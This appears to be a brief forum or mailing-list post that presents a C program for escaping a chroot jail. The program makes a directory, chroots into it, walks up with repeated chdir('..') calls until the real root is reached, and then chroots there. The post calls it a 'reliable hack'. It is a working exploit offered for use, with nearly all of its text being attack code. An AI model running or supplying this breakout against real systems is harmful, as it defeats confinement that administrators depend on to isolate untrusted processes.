It won't work for arbitrary depth without modification...
main()
{
dev_t d_last;
ino_t i_last;
struct stat sb;
mkdir( "xxx");
chroot("xxx");
chdir("..");
stat( ".", &sb);
do {
d_last = sb.st_dev;
i_last = sb.st_ino;
if (chdir(".."))
break;
stat( ".", &sb);
} while( sb.st_dev != d_last || sb.st_ino != i_last);
chroot(".");
}
Now *there's* a reliable hack... 8-).
